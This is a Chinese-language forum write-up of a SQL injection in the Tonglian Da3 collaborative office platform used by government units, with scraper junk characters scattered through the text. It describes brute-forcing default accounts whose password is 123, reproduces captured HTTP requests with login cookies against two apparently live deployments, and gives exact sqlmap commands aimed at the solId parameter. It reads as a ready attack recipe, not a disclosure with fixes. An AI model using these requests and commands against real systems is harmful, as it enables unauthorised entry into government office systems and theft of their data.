同联Da3协同办公平台前台通用sql injection漏洞

admin

. y5 E6 J" R5 P. R, c2 `& ~% g

平台简介：

  . b: h8 q1 ~# I2 T c6 ], S) A

2 T8 P5 H( D) D" p! s' x$ [( z8 h 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
$ f, K7 e# m. {: _0 m, \, n同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

! l& {4 b# \( ]+ }2 Y; D7 @   ' n4 z# A: F% ]

( W" l$ a; ^9 a2 b! s, }/ @- d 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： ; ]+ ~, X5 w* I/ H- S" `

+ ^% D7 j! Z# T( ^1 k* ]

 

& t! {5 g/ h( i1 j) g1 _0 L http://1.1.1.1:7197/cap-aco/#（案例2-） P6 S$ p. S$ @' M d2 I% y( p' `. f

+ [5 R. p0 h0 ?4 B1 N/ t

http://www.XXOO.com （案例1-官网网站）

/ g5 r7 _4 w0 m0 O: ]- D" l   ( K9 j2 l# E7 o

漏洞详情: ; _& k( M* `- D# g

5 J9 m8 @) K' X+ [, I

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

3 p8 z1 V$ a: ^% \- J      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

! v( Q! Y5 L/ i2 W) h

  6 ^& U5 b1 {' H+ v

3 P% U2 y3 }; N   ; J* Z9 B1 [# u8 Q& _) D

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

1、案例1-官方网站 ; H1 C" P& g- A# r0 D

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 / n" J- n5 g! a0 p8 R

+ I# j7 q, m3 ]9 m

: ?; \' U/ M# t7 N Host: www.XXOO.com

- m( H. K* Q3 T7 c, k4 r

Proxy-Connection: Keep-Alive . V; `9 ]2 [+ D7 F% r' Z

' n) C$ G* z r$ z6 A Accept: application/json, text/javascript, */*; q=0.01

+ R0 t* f8 _' C+ J$ |( y& w9 W Accept-Language: zh-CN

Content-Type: application/json ) s$ G4 m. X, N, ~) q5 w

1 T3 |. E4 _" o* p- H* z1 @

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko & J$ I, P8 ]/ z+ M

9 ]( w3 c( c, V- H8 `

8 |! R R6 q/ a4 |: a f- G- h X-Requested-With: XMLHttpRequest

1 \. D9 p$ d/ T" h8 X. R4 I

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

9 t! z h& I- A4 b8 {, N2 H0 Q Accept-Encoding: gzip, deflate, sdch - T7 }, f/ K( \7 T$ m0 W

( j* K- w1 u' Y; r

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e 7 E1 z- o- S4 p, P% @4 o" r

, R& W' J% X3 _; E; e6 ^- {9 ~* O 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: + f# k" ]- Z, Z

3 L: y! X8 D0 Q2 d8 A% ^   $ e4 F0 f' ^- W/ g

: @& Z+ B! u- s. \* R4 `% ^

) u% A7 N- g5 I5 U7 b$ i, q6 W6 R/ V1 H  

  - U3 b/ g9 |) d6 g0 z+ ]8 j4 O' o

( w& ?) T9 V1 e   8 h$ I1 m1 R3 ~, Q

2 l" Q- u; d4 } T) a   # S6 Q8 i, Q& @0 u4 \+ \

2、案例2-某天河云平台

/ i# T, d4 ^" z0 S5 D9 `( }, f

6 ~$ j' F) t% n- t" h& v5 |) Z GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 * W" l1 i* n1 F ?% Y( r, a" `8 l

& v t$ n# ^& Z9 F8 }9 {& |

Host: 1.1.1.:7197 , L' r% r% W1 w8 f

: R7 C- d: E( [* V

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

+ S6 [3 }# Q3 u5 S9 @$ T1 y, N# r User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 , y5 H3 p4 l+ X/ T

0 K3 f* ?7 \% N" k4 P

! L2 n; \6 W- O" U6 m4 A: E, a Content-Type: application/json

5 x) c$ p& n8 j

4 ~ x: y) ^ E Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 6 H$ d! e5 T) P; @

. h( O# s2 \7 D! k K

Accept-Language: zh-CN,zh;q=0.8

: _& C9 f/ o/ e- C( G Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

Connection: close

( v9 x+ U- U% E$ g( }' s

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 0 b) T6 ^6 q9 f' }- Y; J

/ { P: Z5 s; `9 i' b$ U4 \

: p% E9 \ w8 h& n6 S+ l1 a: U  

! g, L: y; m3 Z5 r( |9 H! S

2 l* M E( r+ q$ m5 i& i